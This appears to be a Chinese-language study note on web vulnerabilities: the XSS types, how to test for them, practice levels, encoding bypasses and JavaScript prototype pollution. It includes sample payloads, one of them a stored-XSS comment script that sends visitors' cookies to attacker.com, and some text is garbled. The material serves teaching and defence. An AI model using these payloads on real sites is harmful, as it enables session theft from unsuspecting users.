1XSS漏洞
文章目录
1.1XSS的原理
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
1.2XSS漏洞分类
1.1.1反射性xss
触发方式:用户点击恶意链接
反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜
索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。
注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。
特点
- 一次性攻击 :攻击脚本不会被服务器存储。
- 依赖用户点击 :需要用户点击包含恶意脚本的链接。
- 常用于钓鱼、会话劫持等攻击 。
常见场景
搜索框 | 用户输入的搜索词被直接显示在页面中 |
---|---|
错误页面 | 错误信息中显示用户输入的内容 |
登录失败提示 | 显示用户输入的用户名 |
重定向页面 | URL 参数中包含跳转地址 |
API 错误返回 | 将用户输入的参数返回在页面中 |
1.1.2DOM型XSS
触发方式:页面加载时自动触发
DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击
的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修
改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。
特点
- 不经过服务器 :攻击载荷只在客户端执行。
- 难以被WAF或服务器防护机制检测到 。
- 常见于前端路由、SPA(单页应用)中使用hash或query参数动态渲染内容的场景
常见场景
前端路由(hash、search) | 单页应用通过 location.hash 或 location.search 控制页面内容。 |
---|---|
eval()、setTimeout() 动态执行函数 | 前端动态执行字符串代码。 |
前端动态渲染内容 | 前端 JS 根据 URL 参数动态插入内容。 |
1.1.3存储型XSS
触发方式:页面加载时自动触发
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或
文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将
恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代
码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。
此时,需要我们模拟网站后台管理员的身份,查看留言。
特点
- 持久性 :攻击脚本被存储在服务器上,攻击具有持久性。
- 影响范围广 :所有访问该页面的用户都会受到影响。
- 无需诱导点击 :不像反射型 XSS 需要用户点击链接。
常见场景
用户评论: | 用户在博客或论坛中插入 |
---|---|
用户名注册: | 注册时使用包含脚本的用户名 |
留言板、聊天室: | 用户发送的消息中包含恶意脚本 |
个人资料页: | 用户填写的昵称、签名等字段中插入脚本 |
文件上传: | 上传的 HTML 文件被访问时触发 XSS |
1.3XSS漏洞的黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方:
URL的每一个参数、URL本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
1.4XSS漏洞的白盒测试
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP中常见的接收参数的方式有 G E T 、 GET、 GET、POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后
对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和
html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库
中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过
滤,能否绕过等等。
2XSS练习
2.1反射型
攻击脚本作为请求的一部分(通常是 URL 参数)发送给服务器,服务器未经过滤或转义,直接将脚本反射回浏览器执行 。
Level 1
从网页源码来看这里是将name参数的值直接插入到了h2标签之中。主要就是考察反射型XSS
通过name进行传参,触发js命令
Level 2
测试发现恶意代码直接被打印到了页面上,在h2标签之中的恶意代码被编码了。其中<、>都被编码成了html字符实体。猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回的。但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。恶意代码被编码,将属性的引号和标签先闭合就可以。
总结
反射型xss思路:
- 先输入字符串进行尝试
- 从页面响应可以观察参数传递到服务器端的值在页面中显示的地方,再来看看网页源代码
- 尝试构造弹窗代码进行测试确定在服务器端是否对敏感字符进行了过滤、编码等操作
反射型XSS依赖用户主动触发,常见于搜索框、错误提示等需反射用户输入的场景,多利用on事件进行交互,可通过编码进行绕过
2.2DOM型
将HTML注入页面操纵DOM修改JS
level1
通过 innerHTML 插入恶意代码
<script>
var hash = location.hash.substring(1); // 获取 # 后面的内容
document.getElementById("content").innerHTML = hash;
</script>
<div id="content"></div>
//插入 <img> 标签,触发 onerror,弹出 alert(1)
https://example.com/#<img src=x onerror=alert(1)>
DOM型xss思路:
- 用户点击一个构造好的恶意链接 (URL中包含恶意代码)。
- 浏览器加载页面后,前端JavaScript代码读取URL参数 (如location.hash、location.search等)。
- 该参数未经过滤或转义,直接插入到DOM中 (如innerHTML、document.write、eval()等)。
- 浏览器执行插入的脚本,导致XSS攻击。
DOM型XSS是一种客户端 的XSS攻击方式,与反射型XSS和存储型XSS不同,它不依赖服务器端将恶意代码返回给用户,而是完全在浏览器中通过JavaScript操作DOM时触发 。
2.3存储型
攻击者将恶意脚本提交到服务器并被存储(如数据库、评论、留言等) ,当其他用户访问该页面时,恶意脚本会从服务器加载并执行。
level1
假设某论坛允许用户发表评论,未对输入进行过滤。
攻击者评论内容 :
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
攻击者提交评论后服务器将评论内容存储到数据库。其他用户访问该页面时,服务器将恶意脚本返回。脚本执行,将用户的 Cookie 发送到攻击者的服务器。
存储型xss思路:
- 攻击者将包含恶意脚本的内容(如评论、用户名、文章内容)提交到服务器。
- 服务器未对输入进行过滤或转义,直接将内容存储到数据库中。
- 当其他用户访问该页面时,服务器将恶意脚本返回给浏览器。
- 浏览器在渲染页面时执行恶意脚本,完成攻击。
2.4利用编码绕过
浏览器解析顺序:URL 解析器->HTML 解析器-> CSS 解析器->JS解析器 且只会解析一次
当URl编码不存在时候,他先解析html编码,在还未进程序时,以及被解析了可以通过二次解析来进行绕过
href内部是URL,于是直接丢给URL模块处理,里面没有HTML编码内容,但是协议无法识别(即被编码的javascript:
),解码失败,不会被执行。
URL规定协议,用户名,密码都必须是ASCII
URL模块可识别为javascript
协议,进行URL解码,得到
3JS原型链污染
原型链污染(Prototype Pollution) 是一种 JavaScript 中由于不安全地操作对象原型链而导致的安全漏洞 。攻击者可以通过修改对象的原型(Object.prototype
),影响所有使用该原型的对象,从而导致 任意代码执行、拒绝服务(DoS)、数据篡改 等严重后果。
3.1原型链结构
obj → obj.proto → Object.prototype → Object.prototype.proto → null
主要字段
prototype |
函数对象上的属性,用于定义构造出的对象的共享属性和方法 |
---|---|
__proto__ |
对象上的属性,指向其构造函数的 prototype |
constructor |
每个原型对象都有一个 constructor 属性,指向对应的构造函数 |
Object.prototype |
所有对象的最终原型,是原型链的顶端 |
null |
原型链的终点,不再有原型 |
3.2JavaScript 原型链机制
- JavaScript 是基于原型的语言,每个对象都有一个
__proto__
属性指向其构造函数的 prototype。 - 所有对象最终继承自 Object.prototype。
3.3污染原理
- 如果应用 递归合并对象 时未对
__proto__
进行过滤,攻击者可以构造一个恶意对象,包含 proto 字段,从而修改 Object.prototype。 - 一旦 Object.prototype 被污染,所有继承自它的对象都会受到影响。
3.4常见场景
对象深拷贝/合并函数 | 如 merge(target, source) 函数递归合并对象时未过滤 __proto__ |
---|---|
JSON 反序列化 | 使用 eval() 或某些不安全解析方式解析 JSON |
第三方库漏洞 | 如 lodash 、merge-deep 、mixin-deep 等库存在原型污染漏洞 |